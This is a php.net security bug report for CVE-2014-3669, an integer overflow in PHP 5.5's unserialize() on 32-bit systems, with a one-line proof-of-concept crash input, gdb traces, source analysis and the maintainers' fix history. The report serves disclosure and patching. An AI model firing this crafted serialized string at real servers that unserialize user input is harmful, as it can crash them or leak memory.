php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #68044 Integer overflow in unserialize() (32-bits only)
Submitted: 2014-09-18 13:55 UTC Modified: 2014-10-14 17:41 UTC
From: symeon dot paraschoudis at htbridge dot com Assigned:
Status: Closed Package: Reproducible crash
PHP Version: 5.5.17 OS: Ubuntu 14.04.1 LTS 32bit
Private report: No CVE-ID: 2014-3669
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: symeon dot paraschoudis at htbridge dot com
New email:
PHP Version: OS:

 

 [2014-09-18 13:55 UTC] symeon dot paraschoudis at htbridge dot com
Description:
------------
PoC
======================================
<?php
unserialize('C:3:"GMP":18446744075857035259:{}');
?>

Result
======================================
gdb$ r poc.php 
Starting program: /home/user/Desktop/php-5.5.17/sapi/cli/php poc.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

Warning: Class __PHP_Incomplete_Class has no unserializer in /home/user/Desktop/poc.php on line 2

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x3510DAB3  EBX: 0xB510C74C  ECX: 0x3510DAB4  EDX: 0xBFFFBA88  o d I t s z A p C 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFB918  ESP: 0xBFFFB918  EIP: 0x0850505F
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x850505f <finish_nested_data+16>: movzx  eax,BYTE PTR [eax]
   0x8505062 <finish_nested_data+19>: cmp    al,0x7d
                        .... snip ....
--------------------------------------------------------------------------------
0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
356   if (*((*p)++) == '}')

gdb$ bt
#0  0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
#1  0x085051bb in object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:387
#2  0x085062cb in php_var_unserialize (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:738
#3  0x084f264a in zif_unserialize (ht=0x1, return_value=0xb510c74c, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0x0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var.c:965
#4  0x0862eeda in zend_do_fcall_common_helper_SPEC (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:550
#5  0x08633b66 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:2332
#6  0x0862e411 in execute_ex (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:363
#7  0x0862e4cf in zend_execute (op_array=0xb510cff0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:388
#8  0x085f1f1d in zend_execute_scripts (type=0x8, tsrm_ls=0x8c81338, retval=0x0, file_count=0x3) at /home/user/Desktop/php-5.5.17/Zend/zend.c:1330
#9  0x08556b7e in php_execute_script (primary_file=0xbfffeee4, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/main/main.c:2506
#10 0x0869dee7 in do_cli (argc=0x2, argv=0x8c812a0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:994
#11 0x0869f279 in main (argc=0x2, argv=0x8c812a0) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:1378



Analysis
=============================== 32bit case ============================

File var_unserializer.c, line 365:

static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
    long datalen;

    datalen = parse_iv2((*p) + 2, p);

    (*p) += 2;

    if (datalen < 0 || (*p) + datalen >= max) {
        zend_error(E_WARNING, "Insufficient data for unserializing - %ld required, %ld present", datalen, (long)(max - (*p)));
        return 0;
    }
    ... snip ...

    (*p) += datalen;

    return finish_nested_data(UNSERIALIZE_PASSTHRU);
}

Initially we set a breakpoint at the previous if statement and examine the values.

Breakpoint 1, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373
373   if (datalen < 0 || (*p) + datalen >= max) {


gdb$ ptype datalen
type = long
gdb$ print sizeof(datalen)
$1 = 0x4
gdb$ print datalen
$2 = 0x7ffffffb
gdb$ p/d datalen
$3 = 2147483643 <-- Decimal value of datalen
gdb$ p/x datalen + 5
$4 = 0x80000000
gdb$ p/d datalen + 5
$5 = -2147483648 <-- overflow on 32bits systems


The addition of datalen with any value greater or equal to 5 will overflow the integer.
This is due to the fact that the size of a long is the same as an integer.

Let's examine the current decimal max, (*p) and (*p) + datalen values:

gdb$ p/d max
$6 = 3037780665

gdb$ p/d (*p)
$7 = 3037780664 <-- Less than max but big enough to overflow datalen

gdb$ p/d (*p) + datalen
$8 = 890297011 <-- overflown value

gdb$ p/x (*p) + datalen
$9 = 0x3510dab3

Consequently, 890297011 is indeed less than max (3037780665) which means that the 
above if statement is false. We continue the execution and we end up here:

Breakpoint 2, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:385
385   (*p) += datalen;

gdb$ step
--------------------------------------------------------------------------[regs]
  EAX: 0xBFFFBA88  EBX: 0xB510C74C  ECX: 0xBFFFB8C8  EDX: 0x3510DAB3  o d I t s z A p C 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFB958  ESP: 0xBFFFB920  EIP: 0x08505194
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x8505194 <object_custom+288>: mov    eax,DWORD PTR [ebp+0x18]
   0x8505197 <object_custom+291>: mov    DWORD PTR [esp+0x10],eax
   ... snip ...
   ... snip ...
--------------------------------------------------------------------------------
387   return finish_nested_data(UNSERIALIZE_PASSTHRU);


gdb$ print *p
$10 = (const unsigned char *) 0x3510dab3 <error: Cannot access memory at address 0x3510dab3>

As expected *p pointer now points to invalid memory address and continuing the execution
we are going to dereference this address and eventually crash.

gdb$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x3510DAB3  EBX: 0xB510C74C  ECX: 0x3510DAB4  EDX: 0xBFFFBA88  o d I t s z A p C 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFB918  ESP: 0xBFFFB918  EIP: 0x0850505F
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x850505f <finish_nested_data+16>: movzx  eax,BYTE PTR [eax]
   0x8505062 <finish_nested_data+19>: cmp    al,0x7d
   ... snip ....
   0x8505073 <finish_nested_data+36>: ret    
--------------------------------------------------------------------------------
0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
356   if (*((*p)++) == '}')


=============================== 64bit case ============================


Breakpoint 1, object_custom (rval=0x7fffffffaa30, p=0x7fffffffaa50, max=0x7ffff1268bf1 "", var_hash=0x7fffffffaa48, ce=0x154b7f0) at /home/symeon/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373
373        if (datalen < 0 || (*p) + datalen >= max) {

gdb$ print sizeof(datalen)
$1 = 0x8
gdb$ print datalen
$2 = 0x7ffffffb
gdb$ p/d datalen
$3 = 2147483643
gdb$ p/x datalen + 5
$4 = 0x80000000
gdb$ p/d datalen + 5
$5 = 2147483648 <--- No overflow
gdb$ p/d max
$6 = 140737239223281
gdb$ p/d (*p) + datalen
$7 = 140739386706923

On a 64-bit machine the sum of (*p) + datalen is calculated correctly and as 140739386706923 is greater
than max (140737239223281) we jump into the if statement and get this warning:

gdb$ c

Warning: Insufficient data for unserializing - 2147483643 required, 1 present in /home/symeon/Desktop/poc.php on line 2

[Inferior 1 (process 8693) exited normally]



Patches

overflow-fix (last revision 2014-09-28 21:26 UTC by stas@php.net)

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2014-09-25 07:41 UTC] symeon dot paraschoudis at htbridge dot com
Would anyone care to review and confirm it?
Also after spending some time it looks like this is a read access violation so I am changing the bug type.
 [2014-09-28 21:07 UTC] stas@php.net
Looks like a real bug. May be hard to reproduce since it requires the p pointer to be high enough to wrap around (couldn't make it that way on Mac, for example). The patch will follow shortly. Also probably needs a CVE since serializer can be exposed to user-controlled data and this can trigger at least crash, theoretically info disclosure,
 [2014-09-28 21:26 UTC] stas@php.net
The following patch has been added/updated:

Patch Name: overflow-fix
Revision:   1411939560
URL:        https://bugs.php.net/patch-display.php?bug=68044&patch=overflow-fix&revision=1411939560
 [2014-09-29 05:33 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2014-3669
 [2014-10-14 17:42 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=56754a7f9eba0e4f559b6ca081d9f2a447b3f159
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:42 UTC] stas@php.net
-Status: Open +Status: Closed
 [2014-10-14 17:44 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9aa90145239bae82d2af0a99fdae4ab27eb5f4f2
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:45 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88eb7ea47dd6d23378b116aa76428ef4907c5373
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:46 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9aa90145239bae82d2af0a99fdae4ab27eb5f4f2
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:53 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3eb679b952f4655f178cf576584ef172602325ab
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:53 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88eb7ea47dd6d23378b116aa76428ef4907c5373
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-14 17:53 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9aa90145239bae82d2af0a99fdae4ab27eb5f4f2
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-15 10:10 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3eb679b952f4655f178cf576584ef172602325ab
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-15 10:11 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88eb7ea47dd6d23378b116aa76428ef4907c5373
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-15 10:11 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9aa90145239bae82d2af0a99fdae4ab27eb5f4f2
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-10-15 12:08 UTC] jpauli@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=4af06aca40ac4c592a71a0b1206a50fad994de21
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-11-03 19:40 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=56754a7f9eba0e4f559b6ca081d9f2a447b3f159
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2014-11-18 20:35 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=56754a7f9eba0e4f559b6ca081d9f2a447b3f159
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 [2016-07-20 11:40 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=3eb679b952f4655f178cf576584ef172602325ab
Log: Fixed bug #68044: Integer overflow in unserialize() (32-bits only)
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 12:01:29 2024 UTC